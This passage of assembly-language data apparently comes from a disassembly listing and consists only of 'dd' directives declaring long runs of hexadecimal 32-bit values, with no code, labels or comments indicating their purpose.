754A2936h, 58521712h, 7A404A96h, 5C7E421Ah dd 869E4D2Fh, 704D8DB4h, 94D98993h, 47A9C0FAh, 0BAD204D9h dd 0F6E9AB0Bh, 63AB8841h, 0C320AB6h, 769E6063h, 9CEF3982h dd 2642ECE1h, 16C4D548h, 0E8578B07h, 9DE8B4E2h, 1F1B80FFh dd 975301E4h, 0DEAF3895h, 19F6E1C0h, 4206A55Ah, 713FE062h dd 0A088E565h, 8C52341Ch, 35FD56CEh, 42BE1A4Ch, 0AAD1DBB5h dd 971A22DAh, 0F85AB327h, 9B52C889h, 0B6E71C7Fh, 0B2644432h dd 15FE0E83h, 210EF2E8h, 0FC872D08h, 631A5C44h, 0D59C5412h dd 0F1223633h, 0E05B6A9Ch, 3579FD2h, 0BC49ACBCh, 8FC07C42h dd 0FBF1207Fh, 0B80F9EFEh, 0C1A9CD4Dh, 0E81EB69h, 93F449EAh dd 6591787h, 0F14350E7h, 0B2AF1985h, 0C7D370BAh, 0EF2071Ch dd 4A4164EEh, 2D38E839h, 91FF0146h, 5C65F3CDh, 0EEB85B03h dd 25A04EC7h, 0C9E19AACh, 8CF6F220h, 17B5ACCh, 0F6A319E2h dd 4275582Eh, 1BFDF418h, 741B61E0h, 0EC641169h, 0C7BABA83h dd 0A2F83D17h, 24D21A50h, 7AD0B36h, 52C1730Dh, 0C7F11CFFh dd 0E87F9884h, 714A0891h, 630E53AFh, 35502866h, 87C48949h dd 5961D937h, 0DB935586h, 59AB17F6h, 0A6D582D1h, 0BD02A562h dd 6006C40Bh, 0EF03FEAh, 5B982CCh, 91BF22FAh, 0DD7C181Ch dd 61F3472h, 90100569h, 164DB2A8h, 9426C17h, 1D5ECAEFh dd 0C1039FE5h, 96A02DEEh, 0D07D637Bh, 532183FDh, 1C843D6Ch dd 780E78BCh, 7F47B362h, 549B26F4h, 0AC3D69BFh, 51A544AEh dd 788D583Ch, 9B9F39Fh, 0C6635F7Dh, 0F1C1F470h, 0D4B93094h dd 419F0F02h, 0C92426E8h, 36527DEFh, 7BE7DC8Ch, 918BF3E8h dd 45CC99D3h, 66E9D251h, 0C20D88CBh, 139C8B0h, 6F2860F5h dd 7FCB4EBBh, 0F1D02DF5h, 0D8B5828Bh, 0B1BE7327h, 8B332156h dd 0C22580D1h, 0C1D57BF1h, 70463B4Ch, 1E5BC2D2h, 152924E2h dd 84D8905Eh, 0E7A87F5Ch, 74730655h, 0D59FBBEDh, 135691AAh dd 821AD58Fh, 264D3E25h, 5C0BE79Eh, 0AC3A41DFh, 7634888Bh dd 0E42BA994h, 33DC445Ah, 0EFECCEBBh, 77F9F180h, 0F641E369h dd 0FC4F2F6Dh, 35C089B6h, 2406188Eh, 42AFA98Ch, 73A1B527h dd 151A2579h, 202AD146h, 18DAF541h, 41B54DB4h, 4549BBFh dd 0D600DC45h, 3517B6B9h, 0C0894668h, 22AB817Bh, 0BE90CF80h dd 750AC892h, 47ADD40Ch, 1024DD8Bh, 67CDD2C0h, 0B7B03D3Eh dd 107C3A1Ch, 5C2D8A1h, 0C7AA406Ch, 6046F290h, 0AA340286h dd 97E58DE3h, 7813CE5h, 3F850778h, 6AED3E95h, 332B2291h dd 0A5A31C1h, 0A80C2800h, 0C9FFAA18h, 9D8920EEh, 0F7AC999Fh dd 0D96A3BA6h, 7884F37Fh, 774107D2h, 5A831B60h, 0F3B98898h dd 0BFEE34B3h, 0E11A3F61h, 984B01B8h, 22EF58E9h, 1EC7AE1Fh dd 107B7FDDh, 75BC8AC5h, 1CA59EBEh, 85DB5D08h, 583EF4B1h dd 4822959Ah, 0FEDE7C76h, 0B7FE296Dh, 89492A8Bh, 0EE3AFC47h dd 0BDF20CAh, 0C4C0C115h, 0BF870337h, 0AFBCA0Ch, 355592F3h dd 4D515976h, 0A2B49A98h, 4037ABA4h, 32A6EEFFh, 2113C122h dd 0DEA3D186h, 2AF5EB05h, 5E3B815Ah, 414791A4h, 30DABA96h dd 2F3918F6h, 0A1AABC51h, 9CEC8CEBh, 64741093h, 513D9CFFh dd 75F7C3D8h, 0CEB5B50Ch, 6EAD8073h, 494417BEh, 0AF8B9CACh dd 8872285Ch, 9518385Fh, 0EA6F0929h, 15949EB5h, 838216F0h dd 0D0F42F70h, 7CAC3D6Fh, 6EDF18A3h, 59009D31h, 3AABF459h dd 40ED3720h, 86A88C54h, 1310E1EEh, 383EC088h, 0BB28AEFAh dd 49D20AF3h, 0A411D13h, 803ABD9Ah, 11432839h, 0B0FF4DBDh dd 65A881E8h, 0C975A793h, 0A443DF97h, 3C7AB9F7h, 0BBD9E502h dd 0B825667Eh, 8AF11C00h, 7037E61Bh, 3E487D60h, 1628D476h dd 0A43DD32h, 0C686C549h, 0B625654Ch, 0B7C45271h, 2339A651h dd 84AAF74Eh, 1A201DD2h, 8FB1F55Eh, 0BED5A8EAh, 455075C4h dd 7D221E0Fh, 689F8AE4h, 68FD536Eh, 9A4F3D5h, 174524C4h dd 0EECD2411h, 0F66215B9h, 768E03EAh, 0CAEFBE43h, 0C0714823h dd 26C7E85Eh, 3F3B674Dh, 6ECFD6F9h, 4EF636B6h, 90699B86h dd 1B71DCA3h, 14635A30h, 7D9E7FB1h, 39749FE6h, 0CEAABD2Ah dd 0CE426E53h, 1E70E462h, 0DE61E01Fh, 6D8E1D1Dh, 0D08A48D1h dd 0B109C8F3h, 0C4C53815h, 7CEE19E8h, 38EE2F6Fh, 0FB2FCC25h dd 0DAEB5172h, 34CFDDF4h, 632EEA10h, 0A9FA74E8h, 86E74278h dd 3B65B345h, 14B5712Bh, 4A40265Dh, 7D488D46h, 0A7616508h dd 7FC9FA5Dh, 561CA5BBh, 5ABB1E17h, 9E5F78EBh, 847C0E4Ch dd 0C7071E5h, 0E9734C21h, 0D2EC352Ah, 0C411A7DAh, 357FA0A5h dd 0AF07282Ah, 0BA90DBC0h, 31D2A6D6h, 0ABBCC0CBh, 0ECA39BE2h dd 54A7D47Ch, 0C59560Ch, 7B7A7C7Eh, 397F17E7h, 5B3D00D4h dd 0E8BC9BA8h, 6853AE67h, 9C6ADE81h, 0AE5B1BD4h, 14DFCCBCh dd 8FDB8E3Fh, 0C50B8C4Bh, 48527CF3h, 0B89EEC1Dh, 0CEB56C3Ah dd 21272E57h, 0C50EA608h, 8623DB9Ch, 14FBC34h, 46CB9916h dd 9F7B733Dh, 0EB231B74h, 0B34594F5h, 1C758142h, 0E956B98Eh dd 75F79CE9h, 3814E729h, 54EB4E6Eh, 0C1B01008h, 0C005E298h dd 7F9B8435h, 0F738DDB2h, 74CC1555h, 90A4392Dh, 3806FE67h dd 0C48BDC63h, 0FE21ED7Eh, 0D97C3782h, 84B71ABEh, 0BF381E74h dd 165BBE16h, 755223CCh dd 42091FAFh, 0E885864Ah, 0EFA97BAAh, 53C229EBh, 0C808FBB6h dd 0C7652AC7h, 0AE58B22Bh, 11A5095h, 0E3B337F8h, 0EA5260EFh dd 6ABED2D7h, 7BF1B983h, 7BF7DEFAh, 94BE8FCAh, 0B2825A28h dd 0ECC9DCB7h, 0BA4DBEE3h, 0E4EC27ACh, 3BCD1BA6h, 1B0D6590h dd 74ECA0F7h, 94391E16h, 54CDFFAFh, 0EB8DE6FDh, 43D072ECh dd 758E154Eh, 466246BFh, 50ABEC1h, 4D46E577h, 2282251Ah dd 3787C14Dh, 0A5B4D75Fh, 656AC85Ch, 2C9CB5F2h, 0E493EF7h dd 9C7B4CFh, 0D6BDE45Bh, 0FDC68F5Ch, 0D9F248C0h, 4C7F6EA5h dd 4632A3FBh, 171C3774h, 61600301h, 0B1568FD5h, 5B648646h dd 451FCFF0h, 7F8BECDAh, 37FAD057h, 8DBB1209h, 338C814Eh dd 7BB1CAEBh, 0F8F9DEDDh, 0C0FCF7A7h, 7128B037h, 0C8292C79h dd 640DE079h, 0CE73D0C3h, 4F1B69B6h, 0AEA70523h, 14D598C8h dd 298A6425h, 15A4B9Ch, 447D09AAh, 0AA1376BCh, 0F3672628h dd 0ED6011E4h, 0F570D68h, 0CA660FAFh, 7A0E62A8h, 35E5DDDEh dd 0DE3EFC0Ch, 50F01614h, 6896338Fh, 157ACB22h, 9581681Bh dd 0F237C52Ah, 1305E325h, 853BB6C1h, 98BE9AA1h, 244F1AEh dd 36A36E6Eh, 0BFDB0715h, 297EE06Ah, 481C5A14h, 0DFA65C91h dd 30059Fh, 0E0993869h, 0C16742CEh, 6F6B852Bh, 5EBE4C2Eh dd 0EA0BC553h, 4C39A8F3h, 0D61E875Bh, 959631E7h, 8C5F0F23h dd 836A8A5Ah, 7E1E5E5h, 79F66FD1h, 66C2ED6h, 0D66D5CC4h dd 0B1A63E5Ch, 0E7049B8Bh, 0F6A18CC7h, 0BB75B9C3h, 0B7DA83D3h dd 0A7D10099h, 0A9BE25F8h, 42AE385Dh, 1D0BD430h, 6B5DC175h dd 0D17D20CEh, 0E3FCD1A1h, 82FCC88h, 0F7312446h, 8133C698h dd 0DC61532Fh, 45AF107Dh, 0DED31759h, 4391CC10h, 0F06FF90Ch dd 561C3E08h, 3CC8659Eh, 0D26EAC76h, 7A051793h, 0ECAAFDDFh dd 511729D9h, 0CE37A789h, 7717E82Dh, 0B01924Ch, 0B24AC9CEh dd 4DDE466Dh, 8D83501Ch, 702CBC2Eh, 2F7EEB26h, 0BB49456Fh dd 0EDACE591h, 662E3904h, 0D769D709h, 5C2F3BEBh, 91AEBF4Eh dd 0D1918D01h, 0CAE17D8Ch, 64292328h, 6A9B7857h, 465AF543h dd 9ACB52D0h, 0F759DBF0h, 0CB090BFAh, 83900789h, 334A06BCh dd 0A9CC0CF6h, 5AE4814Ah, 59819F25h, 65F18894h, 0B2FB77B2h dd 91551514h, 166F42DCh, 0F32A979Ah, 5C4BA9D3h, 0BD3A6091h dd 0EDA6C02h, 0E3D89121h, 8AF2D85Dh, 5C0AB79Bh, 0DDD6AD64h dd 772A1EDEh, 0F146B781h, 8EEE474Dh, 0E8B564AFh, 427DC533h dd 36F9B663h, 9C4A3289h, 1EB3AE42h, 61FEFB00h, 0AFEB2601h dd 0DA7B6BBBh, 0EDF2948Bh, 29AE539h, 1BE3DE66h, 80CB3CF8h dd 9D76AC4Bh, 48B71E6Eh, 0F327C6FAh, 62D1A6D1h, 2D641B7Fh dd 851DF59h, 6F1A84Dh, 63F70A70h, 0FBBF7EB9h, 8C795537h dd 0C11EC4E1h, 0BF985DC7h, 45004A3Fh, 9E7077E8h, 73E80AB2h dd 29AEAC65h, 9815F56Dh, 8A61866Eh, 0F78BF725h, 0D8FF0190h dd 4E4D2D95h, 0CCCD9A93h, 5FB41A88h, 0E65C20C0h, 0DDEF2946h dd 0E0C5B225h, 1BA7E644h, 147E62C5h, 2C1864F9h, 0A8D31209h dd 0A9F10AEBh, 63440D5Fh, 0BB8C28D3h, 8D5E6663h, 8D44FFB2h dd 325317F6h, 0AAE23929h, 0B9A2235Ch, 0A5643B27h, 0D4E6FB8Fh dd 0CB32F3ABh, 7B800937h, 8BC827Ah, 6E7671B5h, 3511AC9Fh dd 4CE318F0h, 808FBBE3h, 0FCF58489h, 0B04E67Ah, 147D9B88h dd 0A3C49096h, 43DCBD52h, 0D202C23Fh, 0C5A5B689h, 0D9BF28D2h dd 9068C59Fh, 67A654FBh, 31EBDEB4h, 92151425h, 89FBD18h dd 0D78D6180h, 0A6A51EC0h, 0D33AF95h, 7DB9868Ch, 0F5409AFFh dd 0D27AB35Ah, 74F2B577h, 3B19E445h, 9BFF8092h, 0F4517D2Bh dd 6A406AC1h, 0D18D4C17h, 84DB5EDAh, 7AD29B1Fh, 475E6C1Dh dd 0DDA462B9h, 7BA284C8h, 0E4F77ABBh, 398D5216h, 9275D2Dh dd 4BFF4BCBh, 9AB3B066h, 6FEFC445h, 77DA8E76h, 5BDAD9ADh dd 0F76396F6h, 0A573F35Fh, 551E6699h, 8DB42D95h, 0B8FEE502h dd 0E5D81671h, 0A2A6356Bh, 0E4B7850h, 87F32122h, 4892C41Eh dd 0E2BB3FF2h, 259ADB48h, 0AEEE47Ah, 1AD8720h, 5905EEE6h dd 5AFA91Dh, 49BC0C10h, 0B4516AD0h, 3D0CC567h, 0B178792Dh dd 95C4E627h, 0BD7C7AF1h, 0BA22A33h, 27AC2E50h, 8BC2CF25h dd 9B5DD17Ah, 7705EABEh, 317E6FEh, 4AD05833h, 11EA10B2h dd 0E2289086h, 225423C6h, 0B9DBDFA7h, 4217076h, 3E9FB269h dd 83198474h, 110826AEh, 7537C1EAh, 1B02832Ah, 3AD449E2h dd 43F774F4h, 1D0EDF35h, 3C7EA16Ch, 0BAB534FAh, 251D2F70h dd 9EEE8349h, 334322DFh, 0B0A18AFh, 40CD9FC5h, 38A2718Ch dd 0BBF50B7Dh, 469B6826h, 0F2990A53h, 0ACDD7F36h, 0CC3DC9E3h dd 1185907Eh, 0AC987D12h, 38DE8203h, 7DEA492Eh, 0D11A29Ch dd 0CE4355Eh, 0EEEB5062h, 9A10CCA4h, 3C4756FFh, 48451361h dd 33952B30h, 0F8519B6Bh, 0D57BC9CEh, 0E67EABCFh, 686B3428h dd 54C34DD3h, 4C7B3AAEh, 52172352h, 1729DACBh, 0C89B6CF2h dd 0E622B11Ah, 0C8350C45h, 0B4AA1D46h, 0E8604E6Ah, 0A7503BB5h dd 8DB646Ah, 0F1BD1E43h, 0F6106F24h, 8F1E0520h, 386ABA0Fh dd 0BC38989Eh, 3BAE396Ch, 0E883DA33h, 1A9639C4h, 0E2EB8627h dd 0B8AAA3A0h, 122B19DDh, 0B48699B0h, 95630622h, 0FB03FD0Dh dd 0D916E645h, 76445C71h, 0BA7ABACAh, 3259E4F8h, 408B6F12h dd 0F9F770B6h, 0EC1F9AE6h, 0F8B06C66h, 1C7F1012h, 877B4359h dd 8150A41Ch, 70FA7522h, 5557432Ch, 0D67BDA93h, 2CC23747h dd 64FC157Ah, 0A4829426h, 725F59E8h, 0F3E48955h, 0CF3FB7E8h dd 3D4CC608h, 0A799C874h, 0F694F73Eh, 225064EEh, 1F2AC72Ah dd 99BE3167h, 94C334Eh, 6FD6902Fh, 1C1F9A87h, 9BCB3EAEh dd 6588939Fh, 727865EFh, 2F29F359h, 283E2F52h, 0C3FE70ECh dd 0BD867C8Bh, 3F157B19h, 45FD03C6h, 33793AD6h, 629EAF69h dd 0A44248D0h, 53E635E1h, 9D3F848Bh, 2C64AA4Ah, 503A3EE4h dd 613640B3h, 8FB85FF0h, 2C7AD620h, 0E94D9E52h, 5D335623h dd 533DFDBCh, 4A1BE43Fh, 30377D15h, 31B998A9h, 2C45DDB3h dd 0F3D0AFBCh, 720FD81Eh, 0A79764C7h, 0E4110299h, 0A71F2D40h dd 0BDD8F453h, 27D5C3E0h, 627FB333h, 0FC0128E5h, 908A2F57h dd 0DE1E751Ch, 0FB84D81Eh, 3A1EE9E1h, 696452B1h, 6E37F926h dd 1FEB0984h, 0BD993963h, 0E4F05D69h, 0B8BA7979h, 0FBAF1D19h dd 3CA0B369h, 0FB3B958Dh, 0C3AB0492h, 0BC221C3Ch, 0D3D664DAh dd 0D3C45A59h, 20E72D22h, 0CC34CAF8h, 8E0CA7EDh, 5D0F1CD0h dd 764F87BBh, 34FAA99Dh, 47DF24A8h, 46AA572Bh, 21936999h dd 0CFD07784h, 0ADA84D06h, 804BD6F6h, 758E1DE0h, 7D263F21h dd 0AC4417E9h, 0CA2FF9D9h, 3A0AF4B7h, 5848AA73h, 5D5EB0Ch dd 98ADCDADh, 0C175693Fh, 0FDDF4691h, 0D8098122h, 4684EB4Fh dd 606172C5h, 0FCD3D20h, 0B0CF99D7h, 545CBDC9h, 631C4EA7h dd 606C633h, 45EAD109h, 0B73347h, 0A769258Eh, 113979C3h dd 980FCD0Fh, 2CC99D9Eh, 6DCCC156h, 2FBD6394h, 0B5F881B3h dd 0EDD6F0BEh, 8FA439D5h, 9BD36114h, 78F3D88Ah, 0EC47AE62h dd 28C1736Dh, 0EDC0DF50h, 8BAF8DD7h, 0F9BFAB2Bh, 0B4F2433Ch dd 0D1540483h, 0B938C6BDh, 8EA5BA7Ah, 4A23B05Eh, 94ECD14h dd 15CFB19Fh, 1A21361Eh, 0E672DC33h, 8AAFC8Ah, 442920D2h dd 6F5BE814h, 8F339ED5h, 0F2AFF916h, 0DD19BCDBh, 60C34E0Fh dd 2715A2D8h, 0E6C7DAF1h, 14F3835Ah, 0B0C5BC7Fh, 2EAC3275h dd 0DEAF6282h, 1AD36FF0h dd 0F3146E52h, 1634F66Ch, 0B20845FAh, 8C39E9D9h, 0A86A3B14h dd 3E2AB117h, 0A063FDC2h, 0CDE14035h, 0C34ED93Ah, 89D940E3h dd 4D27FFF0h, 59A8BE54h, 0F59D8228h, 0F38C9B39h, 6656D918h dd 0D3F53F7Ah, 0E6BA90h, 0BB24EBCEh, 66D3626Fh, 0A9D7283h dd 0C765672Eh, 28C3F5DAh, 53E3D516h, 0C2BC0A8Bh, 0CDAAF854h dd 33004650h, 383939D4h, 3C289080h, 4F822683h, 2C53678Fh dd 64DC20E8h, 6FE45AE1h, 71778ED0h, 6FE75Ah, 47267709h dd 1C9EF899h, 0D5282168h, 2B3F3D1Bh, 0B5335331h, 19FBCAD5h dd 3383A367h, 780023BDh, 20B71BE5h, 3D315E44h, 4E8EBD15h dd 0F4434074h, 509EADEFh, 7B2F6A5Fh, 9DC49923h, 90D2CD98h dd 94277386h, 10E2E11Fh, 5CC457E9h, 0DDE6B34Eh, 0F1404727h dd 26173860h, 0C93EC0CDh, 800FCC2Dh, 0D6635DFCh, 6E4B2634h dd 97627A94h, 379F78D4h, 90C197EAh, 96F64C99h, 0DCB5E12Eh dd 534F2A51h, 0A5FBA900h, 7C975A10h, 27D1274Dh, 19558E5Eh dd 0E73D3820h, 3695C4B7h, 0A718AEE7h, 90D089Fh, 28FFDCD3h dd 0D7BAF4D9h, 856B5B84h, 1D5CC020h, 9E5EB707h, 0C83F523Dh dd 0A15F385Fh, 0C5EC187Ah, 9051836Eh, 7E2FA573h, 5165AC64h dd 72C2D154h, 40871182h, 0CA052712h, 9E543478h, 0FA5A2A8Dh dd 545C0687h, 31E53E43h, 643C849h, 8256427Bh, 8570ECA1h dd 20DBBE49h, 0B92C33FAh, 8A07C52Ch, 36929932h, 65F52844h dd 3B61C4Eh, 9266594Fh, 678DE6FAh, 6AF7556h, 814298A2h dd 788AB632h, 0A0C82EA2h, 8535BA68h, 2E7A65A1h, 8775F02Eh dd 86C8F37Eh, 44E8BD62h, 0DA97A51Fh, 73053E60h, 0F8D49690h dd 0F084E59Bh, 5437A068h, 0B29192B7h, 0ED232445h, 0EDE27279h dd 0B9AD4523h, 6B41299Ch, 49E5048Eh, 78B9C7FAh, 0B862CC00h dd 8E76BD03h, 0A2691B3Fh, 27F2E875h, 574E6176h, 0BE83AAFCh dd 0F2114FE1h, 652B158Fh, 5C592882h, 0F5722C8Ah, 0B643391Ch dd 0D1786D82h, 0C773CC7Eh, 0A5C6BA45h, 2B25DAC2h, 56A31642h dd 2D8A59D1h, 699F4D3Ch, 489CC2B3h, 52D3C74h, 416D1675h dd 435A65D5h, 83A5D99h, 3890B4BFh, 8895350Dh, 1533EADFh dd 967BCB6Fh, 0EB68C4A3h, 0AC0504ECh, 7779949Dh, 0A228156Ah dd 0AFEFF8B9h, 0F36833E2h, 0AFA95890h, 0DECA19E7h, 312DE6C3h dd 7DA71CCh, 0A31C1CEAh, 76FCB29Fh, 0A331FBF1h, 0DD01FC54h dd 5DE1D57h, 361C1EA2h, 0B216FE49h, 32CF9FCh, 0F4A29B27h dd 2F17D281h, 8EB86969h, 7D4E5308h, 26748150h, 0FA158CA3h dd 97E2A2BFh, 0EFAF4E9Dh, 93A079C0h, 8BAA7BD9h, 620D4F58h dd 7A9B9B74h, 0D2E66AF3h, 90567C16h, 8D7E416Eh, 724D5D8Ah dd 228650E5h, 914951BFh, 0D36FD699h, 9EA65FFh, 0B4366B80h dd 145B95A2h, 557224D8h, 0D35BA75Ah, 0FF76EF2Ah, 0B5CFA880h dd 2737776Fh, 0C3FF8672h, 8301B44Fh, 0A764C9F7h, 9BA2B5D5h dd 0CE60954Ch, 0ABDB44CEh, 60D52AC6h, 8F76B1EBh, 587087C1h dd 980E585Dh, 0F0A05614h, 0C12925F5h, 582FD49Fh, 19D941D9h dd 0D03A60F1h, 0B895A6A9h, 80DED99Bh, 64D0B056h, 0C3927626h dd 21246B80h, 754A13C2h, 0FBC64FFAh, 6902D2F0h, 0D7C2AB06h dd 0C89D2A21h, 3EACBFF9h, 0B989CAE3h, 7F2D24D6h, 0BA34CF4Ah dd 0D2747BBAh, 8315A932h, 5FBB9A4Eh, 877C6269h, 2AB8B822h dd 5521061Dh, 3837625Dh, 5F341FA9h, 87A074AEh, 83F75838h dd 0C48B2262h, 0FA5B86E1h, 28C956EBh, 0B923FB4Bh, 0B11A22CDh dd 425BCF79h, 0E507DA63h, 98AF510Ah, 100B40DAh, 0EB254CBDh dd 0F06CD85Ah, 0A73CC7A8h, 1B9EACBFh, 0D210C495h, 0AA7DB5CDh dd 19B1CD4Bh, 0FABA09B6h, 8CB8FD1Ah, 0A746599Bh, 0FC9306FCh dd 0B083A77Fh, 5A17EB8Bh, 23D7A423h, 0D251E5B9h, 1D549230h dd 6A652A4Ch, 0CD0234B1h, 0F8F51D2Bh, 0AEEDC0F1h, 0C7AC0B99h dd 0D07A06ECh, 96F0D874h, 0D1D486F1h, 7E9B1D3Fh, 9D658F35h dd 0A1F1A7B4h, 0A20D8216h, 0D1B2CA44h, 3A2C151Fh, 8391C696h dd 1EF2509h, 5BC9E06Fh, 5C12EB4Eh, 0D470DA85h, 4BC3C777h dd 0B7C64BA2h, 0D72E7BF7h, 0E894B022h, 0EF133736h, 92C73E82h dd 7A729BE0h, 0CA2730ACh, 0AF55DDDFh, 28A26890h, 6FD3040Fh dd 191DB526h, 0B246AD97h, 0E25821F8h, 0C630C377h, 778E7596h dd 0A6ECF96Ah, 0BE396CD1h, 0C976C320h, 0B8891F9Fh, 8B8C0502h dd 7538A619h, 0D08713A0h, 7A6B4929h, 0C7F60D8h, 905E550Dh dd 48F84010h, 27B0D860h, 7A6C888Ah, 55AFBF9Bh, 264CB7AFh dd 1D1B68FDh, 3672262h, 0BA3363E9h, 0FC743571h, 0B8941C93h dd 0E6148337h, 69CE7208h, 99927DB3h, 3C6F7559h, 96E196C0h dd 7644E452h, 9E166F62h, 0AC62C8AFh, 0ACD80C0h, 9C468E75h dd 32C9C1C0h, 9BFEC75Dh, 475AD1F7h, 0E10FDF02h, 2EC3D883h dd 0A394D7C4h, 4C6D8D3Bh, 31D485E9h, 6EE5A5C6h, 93CDFDECh dd 47766F1Dh, 5C17AE9Bh, 0EB4BEE21h, 935FD00Ch, 0AA9C7D1Fh dd 6E21193Eh, 9BBF2316h, 7DA8418Dh, 2C414942h, 0D5418044h dd 0B30670Ch, 0B895A5Ah, 2F2067C2h, 23CCB2D4h, 7199F19Bh dd 0C8B7AF2Fh, 8D08A00Ah, 0F8D63642h, 0C18BC238h, 0CB8B9C19h dd 0F5DFC9FFh, 7568EC8h, 53169998h, 57EB5AB2h, 0F70DC81Eh dd 0E9BADF33h, 0F367F382h, 24718FF3h, 3D419DABh, 0AF824C8Dh dd 60DDF537h, 74EC29B9h, 58C446D6h, 0E70DF92Eh, 8FACDEB5h dd 0D3F520F8h, 86394BE8h, 659633A5h, 0B2E0930Ah, 35D8BB47h dd 72CE543Ch, 0E90C22EDh, 0E383F12Ch, 0CE47B1A6h, 5D8AE656h dd 6BDB745Bh, 3E97B96h, 5BF45BE5h, 0D6098ECh, 0A4EE0684h dd 0C50F89FDh, 0DBBDF138h, 0CB206ECDh, 29DB2FC7h, 4D8FEBEh dd 65111FDBh, 6641F9EEh, 30AD2FD8h, 11781F4Ah, 44DC093Ch dd 52D8CCEDh, 0D9F8119Ah, 74F8BFB4h, 0AB50C5FBh, 11A1CEFh dd 0E7A26519h, 43CCF5F5h, 17530C1Fh, 0EE4023F6h, 4BBA4BD3h dd 5DC0576h, 0D6BBED48h, 0C63DFFEEh, 0F6FF4BDDh, 0EDF114ACh dd 1DC2475h, 6F35D198h, 38042263h, 0EFF5AEF2h, 32B01D03h dd 0CDB6C770h, 8035584Ch, 0AB5D4A99h, 96580AB3h, 0A47AE5Bh dd 0FD6E6919h, 46412CF1h, 97AEA6B5h, 58167CABh, 0E3B08967h dd 0B700885h, 19E72DA0h, 0F4BB0176h, 43C7CE9Ch, 59F52842h dd 0AF8B01FFh, 46086D78h, 0CB97A1B3h, 0EA5D626Ch, 848CBB89h dd 64786436h, 0FCFC0C9Ch, 0FE0F9B78h, 8714DA36h, 4DBDE4DDh dd 0E35F1245h, 92CC5E80h, 0C07ADA27h, 0D204D055h, 0AF9D8DA4h dd 0DB0DCBC9h, 7D90C6E7h, 33BD49D2h, 8B428255h, 54C54819h dd 6712B9ABh, 0E516FFA4h, 9058EA3Dh, 7197EF5h, 0FB589E3Ch dd 0E1826D64h, 107CEF3Fh, 0C7E0E94Ah, 5B6F0AB1h, 8CC578E6h dd 55717569h, 3192533Fh, 14EFD4C1h, 9440FE83h, 0B458111Ah dd 0C22E9CD1h, 0A446542Ch, 0D6A45DCBh, 0E149F30Ah, 0DC2DA119h dd 9A53121Dh, 6E1DD92Dh, 0C3AC7EB1h, 85C28753h, 0F88E9AB3h dd 3129EC71h, 7C0803C8h, 88D69E78h, 0E27A586Ch, 0A6898BA5h dd 125A1D51h, 825BB60Eh, 68C382F9h, 296FFAD9h, 0D19498EFh dd 0D34485AEh, 7D8808EDh, 2A15B182h, 0ABF07C38h, 5A2B732Eh dd 6975B96Ah, 3BBE7D63h, 0B7883CF7h, 664D18D5h, 0BB279807h dd 0BBC0F0A0h, 40AFA6DAh, 384B5BDh, 3ED83EC5h, 1BB55E7Dh dd 0BE71BBABh, 753DB7Fh, 452B2D09h, 10ED1024h, 6A2D29E2h dd 6185F673h, 1F91F5D1h, 2E161331h, 18D428Eh, 5961D28Dh dd 535C59F4h, 76429A2Fh dd 3C7DF3C4h, 0E9F009A6h, 0E2E32C6h, 0FF916577h, 0C73FA43Ch dd 0A37DF5F6h, 0D100E040h, 6AEC86C7h, 0F9C3964Fh, 0E399182Ch dd 92A2A040h, 4A5BE9CCh, 0EE95059Ch, 3DA1D536h, 86D75616h dd 20D3886Ah, 0CD0FC529h, 53034510h, 9C754148h, 0FF6BC78Eh dd 4D2FD575h, 15885A46h, 60C2337Bh, 4F81762Ah, 15ED6D72h dd 0C85ADDDBh, 89D96B16h, 0A4BAB539h, 8E53B07Eh, 6838EF14h dd 0B8E16B9h, 7514A47h, 514FD6Dh, 12F3DB45h, 89FC1B2Dh dd 6EF3C047h, 0F9BC8A43h, 0BCAE908Eh, 0D4465496h, 6A7ED7EDh dd 0DCA29FEEh, 2BB12EE3h, 0B8DF3B49h, 3AEFCAAFh, 4CAA5B77h dd 3056697Dh, 7A002393h, 2D986BF7h, 0F5A451F1h, 0D2943C40h dd 8899C95Fh, 4AAA387Bh, 73FF3713h, 0E96A2254h, 0F67CD5D2h dd 0AB431E49h, 9F63435Fh, 0C810CB9Fh, 0CAC4CB56h, 47DB2AB1h dd 0D41102DFh, 2D44D622h, 1875A91Dh, 1F4CE6EAh, 0B973F180h dd 323C18C5h, 0B6EFD1E7h, 82EA5A1Ch, 0E10EF01Eh, 2B23EE47h dd 32E8D0DCh, 98AE9902h, 88949E37h, 0EB18C94Bh, 151D8E26h dd 0F059EA2Ah, 29BD2125h, 0B3FC36Dh, 34366326h, 0BE8ECA8Eh dd 8C29DF6Eh, 8D2159C6h, 28EAD577h, 1BB2D2D8h, 66E9C97Bh dd 42935CFDh, 0FD33A94h, 0C2F04E3Fh, 0A926F625h, 0CB260535h dd 0B3623A9Fh, 8A98A5F1h, 21360996h, 0B0C8A0EBh, 0E96D0840h dd 0D0820480h, 47C1F4EDh, 0C02A99BEh, 47473EA2h, 0BA8E6389h dd 0F0D9BA63h, 657546A1h, 7D731EEDh, 83F07B63h, 22422D4Eh dd 5DEDDCB9h, 989D4401h, 8DAFBE4Eh, 600F4D5Fh, 6363E4ECh dd 5B183359h, 0BEC5B87h, 8E5DAC16h, 2D96AB57h, 0C51AB00Ah dd 1949524Ch, 29A3F078h, 1C62DB92h, 0B2C13471h, 62071951h dd 91A8CBBFh, 7F5BA1F6h, 2059FBF5h, 7177AF83h, 424E6510h dd 55ECCCCEh, 1A80F21h, 0E48E71D2h, 3B673CD4h, 880141E1h dd 0E687117Ch, 0E5AEBCAh, 0D0358164h, 0A35491C2h, 47D9BAB8h dd 8CC6C43Bh, 0F0DA5FF1h, 0C64F5488h, 0B1E6B680h, 1E0F5CD9h dd 0EA10F97Eh, 161A9599h, 0D63AE2EDh, 68FDB289h, 0DB1C65FCh dd 0EE0AA354h, 0DEB9D4E0h, 9ABAE31Bh, 9EB7CA34h, 0E1CD769Bh dd 0C66BE5Fh, 16950C77h, 0F3F27520h, 224E5911h, 5D48A62Dh dd 41D173FAh, 5F2E8C94h, 0B3856BE4h, 21829DFDh, 1374902Ah dd 512E9D90h, 8793FEDAh, 39FABD16h, 0C2C0DFD0h, 0DA37724Ah dd 0D98722D9h, 0B2662847h, 8E22BA2Ah, 60B0D30Fh, 76EB12EDh dd 180D21ECh, 3AC5AC4Fh, 0BF65A89Bh, 9F36B04Fh, 0C55EEA52h dd 367FDD25h, 0C6D19A3Dh, 70AD001Ch, 37AEDA65h, 4C742CBBh dd 85EA29BFh, 73C12A6Bh, 19F5E795h, 0D54D1B0Ah, 0C1E4E20Ch dd 0F41394Eh, 842A3231h, 0DC766A34h, 0EFEE333Bh, 78883036h dd 57AA6C9Dh, 18A12D4Fh, 0D7CB5297h, 4C16D9F2h, 0B07F345h dd 